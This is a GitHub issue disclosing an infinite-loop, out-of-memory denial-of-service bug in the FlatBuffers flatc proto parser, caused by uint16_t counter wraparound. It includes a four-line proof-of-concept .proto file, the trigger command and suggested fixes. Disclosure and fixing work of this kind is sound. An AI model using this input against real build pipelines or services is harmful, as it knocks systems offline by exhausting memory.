Skip to content

Proto Reserved Range Parser Infinite Loop / OOM Denial of Service #8949

@pavanchow

Description

@pavanchow

Proto Reserved Range Parser Infinite Loop / OOM Denial of Service

Summary

The proto reserved range parser in idl_parser.cpp uses voffset_t (uint16_t) as the loop counter. When parsing reserved 0 to 65535, the loop counter increments from 65535 and wraps to 0 (unsigned integer wrapping), creating an infinite loop that consumes ~4 GB/sec of RAM until OOM. A single 4-line .proto file causes flatc --proto to hang indefinitely.

This issue was reported to Google VRP and closed with permission to publicly disclose.

Affected Version

Root Cause

src/idl_parser.cpp L3174-3176:

voffset_t from = 0;
// ...
if (range) {
    for (voffset_t id = from + 1; id <= attribute; id++)
        struct_def->reserved_ids.push_back(id);

voffset_t is uint16_t. When attribute = 65535 (max uint16_t), the loop increments id from 65535 → wraps to 0. Since 0 <= 65535 is always true, the loop never terminates, continuously pushing to reserved_ids and consuming memory.

Reproduction

Malicious .proto file

Save as fb021_reserved_dos.proto:

syntax = "proto3";
message Foo {
  reserved 0 to 65535;
  string name = 1;
}

Trigger

timeout 5 flatc --proto fb021_reserved_dos.proto

Expected Output

$ timeout 5 flatc --proto fb021_reserved_dos.proto
EXIT CODE: 124  (killed by timeout — infinite loop)

Memory monitoring:
  t=1s: RSS=4,176,416 KB (~4 GB)  ← still alive, growing
  t=2s: RSS=826,704 KB
  t=3s: RSS=791,856 KB
  Had to be killed.

Process enters an infinite loop consuming all available memory until killed by OOM or timeout.

Impact

  • CWE-835 (Loop with Unreachable Exit Condition) + CWE-400 (Uncontrolled Resource Consumption)
  • CVSS 3.1: 7.5 HIGH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Any CI/CD pipeline running flatc --proto with untrusted .proto files is vulnerable to denial of service
  • Minimal input: 4-line .proto file causes ~4 GB memory consumption per second
  • OSS-Fuzz does not cover proto parsing, so this is unlikely to be caught automatically

Suggested Fix

Use a wider type for the loop counter, or add a bounds check:

// Option 1: Use uint32_t for the loop counter
for (uint32_t id = static_cast<uint32_t>(from) + 1;
     id <= static_cast<uint32_t>(attribute); id++)

// Option 2: Check for wrap-around
if (attribute == std::numeric_limits<voffset_t>::max()) {
  // Handle error: reserved range too large
  return Error("reserved range exceeds maximum field ID");
}

fb021_reserved_dos.proto.zip
poc_terminal_output.txt

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions